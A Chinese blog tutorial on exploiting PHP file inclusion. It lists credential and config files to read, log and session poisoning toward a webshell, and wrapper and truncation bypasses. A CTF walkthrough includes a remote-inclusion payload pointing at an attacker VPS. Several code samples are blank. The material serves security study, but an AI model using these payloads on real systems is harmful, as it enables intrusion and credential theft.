文件包含漏洞 TIPS

https://www.chery666.cn/blog/2017/06/17/include.html


0x01 原理

网页代码在通过函数复用文件时,未对文件名进行安全检查时,从而导致恶意代码执行和敏感信息泄露。主要分为本地包含(LFI)和远程包含 (RFI)

涉及到的危险函数:include(),require() 和 include_once(),require_once()

  • Include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个 php 文件继续执行。
  • Require: 跟 include 唯一不同的是,当产生错误时候,include 下面继续运行而 require 停止运行了。
  • Include_once: 这个函数跟 include 函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
  • Require_once: 这个函数跟 require 的区别 跟上面我所讲的 include 和 include_once 是一样的。所以我就不重复了。

测试代码


$a = $_GET['chery'];
include($a);

0x02 本地包含(LFI)

  • 包含目录文件

    • ?fuck=chery.txt
      如果里面的内容是 php,则内容会被当成 php 执行 (可通过 PHP 流协议输出,接下来会细说), 不是 php 则会读取到文件内容 (用来读取 / etc/passw 等等配置文件的敏感信息)
    • ?fuck=./../../chery.txt
      ./当前目录,../上一级目录, 这样的遍历目录来读取文件

Windows:

C:boot.ini // 查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS 配置文件
C:Windowsrepairsam // 存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql 配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php 配置信息
C:Windowsmy.ini //Mysql 配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

  • 包含日志
    常见几个路径:

/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
也可用通过先包含配置文件来确定日志文件路径
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
然后在 user-agent 中插入 payload


可以看见已经成功写入 log

接着访问日志文件即可包含
  • 包含系统环境 / proc/self/enviro
    尝试访问? chery=../../../../../proc/self/environ 看看,如果能看到如下的内容就说明可以继续,如果返回的是空白页就可能没有权限访问或者服务器系统就是 FreeBSD(但是现在大部分系统的 environ 只有 root 用户只读的权限)


在 User-Agent 中插入如下代码:

或者
然后服务器将下载指定的文件并将文件保存在网站根目录的 chery.php 文件中,即可获得一个 webshell。
  • 包含 session 文件
    Session 文件一般存放在 / tmp/、/var/lib/php/session/、/var/lib/php/session / 等目录下,文件名字一般以 sess_SESSIONID 来保存。


首先,查看找到 session 文件并包含一次:文件名可以通过 firefox 的 fire cookie 插件查看当前 session 值。
实际应用过程中需要注意以下几点:
1) 网站可能没有生成临时 session,以 cookie 方式保存用户信息,或者根本就完全没有。
2) Session 文件内容的控制,这个时候我们就需要先通过包含查看当前 session 的内容,看 session 值中有没有我们可控的某个变量,比如 url 中的变量值。或者当前用户名 username, 或者可以通过变量覆盖来写入. 如果有的话,我们就可以通过修改可控变量值控制恶意代码写入 session 文件。如果没有的话,可以考虑让服务器报错,有时候服务器会把报错信息写入用户的 session 文件的。我们控制使服务器报错的语句即可将恶意代码写入 session。(session 文件格式可参考 http://www.thinksaas.cn/topics/0/52/52827.html)
  • LFI with PHPInfo

向 phpinfo 上传文件则可以返回文件路径,但是文件存在时间很短,可以用程序持续上传,然后就可以包含你上传的文件了


其中 PHP 引擎对 enctype=”multipart/form-data” 这种请求的处理过程如下:1、请求到达;2、创建临时文件,并写入上传文件的内容;3、调用相应 PHP 脚本进行处理,如校验名称、大小等;4、删除临时文件。

利用 PHPInfo 进行本地文件包含的主要思想是在临时文件删除前执行操作。

我们需要争取时间,时间差大致来自三个方面:
1、通过分块传输编码,提前获知临时文件名称;
分块传输可以实现在未完全传输完成时即可获知临时文件名,可以尽早发起文件包含请求,赶在删除之前执行代码。
2、通过增加临时文件名后数据长度来延长时间;
通过观察 PHPinfo 的信息,在 $_FILES 信息下面,还有请求头的相关信息,我们可以在请求的时候,通过填充大量无用数据,来增加后面数据的长度,从而增加脚本的处理时间,为包含文件争取更多的时间。
3、通过大量请求来延迟 PHP 脚本的执行速度。
通过大量的并发请求,提高成功的概率。由于对 PHP 处理性能的不熟悉,做了一个简单的测试,记录大量多个请求下,每个脚本的运行时间.

参考:LFI with PHPInfo 本地测试过程
实战运用:乌云链家 phpinfo 文件包含到内网渗透

0x03 远程包含(RFI)


(需要 allow_url_fopen=On 并且 allow_url_include=On)
这里用 cumtctf 的一道远程包含和变量覆盖的题目来说明
提示有源码泄露,先审计源码:
if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] != '') {
    if (stripos($_SERVER['QUERY_STRING'], "GLOBALS") === false &&
            stripos($_SERVER['QUERY_STRING'], "_GET") === false &&
            stripos($_SERVER['QUERY_STRING'], "_SERVER") === false &&
            stripos($_SERVER['QUERY_STRING'], "_POST") === false &&
            stripos($_SERVER['QUERY_STRING'], "_COOKIE") === false &&
            stripos($_SERVER['QUERY_STRING'], "_REQUEST") === false && 
            stripos($_SERVER['QUERY_STRING'], "_ENV") === false && 
            stripos($_SERVER['QUERY_STRING'], "_FILES") === false && 
            stripos($_SERVER['QUERY_STRING'], "_SESSION") === false) {
        parse_str($_SERVER['QUERY_STRING']);
    }
}

首先是一大串过滤,发现过滤的都是 php 全局数组
这里百度了一下 QUERY_STRING 函数和 parse_str 函数(具体用法自行百度)
发现后者存在 url 解码,故可以用 url 编码绕过过滤,并且后者具有变量覆盖的功效。至此可以掌控全局变量。
继续审计源码

define("Z_ENTRANCE", true);
define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
require(Z_ABSPATH . "/conn.php");
require(Z_ABSPATH . "/functions.php");
if (isset($action) && $action == 'main') {
    require(Z_ABSPATH . "/main.php");

发现第二个关键点define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);这里存在了一个根目录,而前面我们说到了全局变量覆盖的问题,所以这里毋庸置疑,我们应该覆盖的就是这个根目录,将其改为我们的 vps 地址,故可以远程包含我们的脚本
(注:别忘了你的 vps 下也要放 conn.php 和 functions.php 否则程序运行到这里就失败了……)
将自己的小马写进 main.php
小马如下:` echo "ls ?>";`
然后发 payload:
/index.php?%5fSERVER[DOCUMENT_ROOT]=http://123.206.222.169&action=main
即可得到全有文件,可以看见 flag 文件
再将小马的 ls 改为 cat 即可获得 flag

0x04 包含绕过姿势

测试代码

  • %00 截断
    /etc/passwd%00

(需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效)

  • %00 截断目录遍历:
    /var/www/%00

(需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris)

  • 路径长度截断:
    /etc/passwd/././././././.[…]/./././././.

(php 版本小于 5.2.8(?) 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)

  • 点号截断:
    /boot.ini/………[…]…………

(php 版本小于 5.2.8(?) 可以成功,只适用 windows,点号需要长于 256)

  • 常见封装协议的利用

    • 利用 php 流 input(接受 POST 过来的值):
      ?file=php://input(需要 allow_url_include=On)

  • 利用 php 流 filter(过滤器, 可以用来读取 php 文件内容, 不需要开启 allow_url_include):?file=php://filter/convert.base64-encode/resource=index.php

    • 利用 data URIs:
      ?file=data://text/plain;base64,base64 编码的 payload(需要 allow_url_include=On)

, 注意没有?> 闭合, 闭合标签的话就包含失败了。

  • 利用 zip 协议:
    测试代码
$include_file=$_GET[include_file];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
        {    
                require( $include_file );
        }

截取过来的后面 4 格字符, 判断是不是 php, 如果是 php 才进行包含
zip://archive.zip#dir/file.txt(file.txt 被压缩在 archive.zip 中)


注意 url 编码, 因为这个 #会和 url 协议中的# 冲突
  • phar 协议
    phar 是将 php 文件归档到一个文件包里面(与 zip 协议类似)

创建 phar 的代码如下:


$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ; 
$p->addFromString('testfile.txt', ''); 
?>

创建 phar 的时候要注意 php.ini 的参数, phar.readonly 设置为 off(本地测试的两个默认都是 off)
然后通过包含协议访问:
http://127.0.0.1/demo.php?chery=phar://./phar/phartest.aaa/testfile.txt


你可能感兴趣的:(渗透)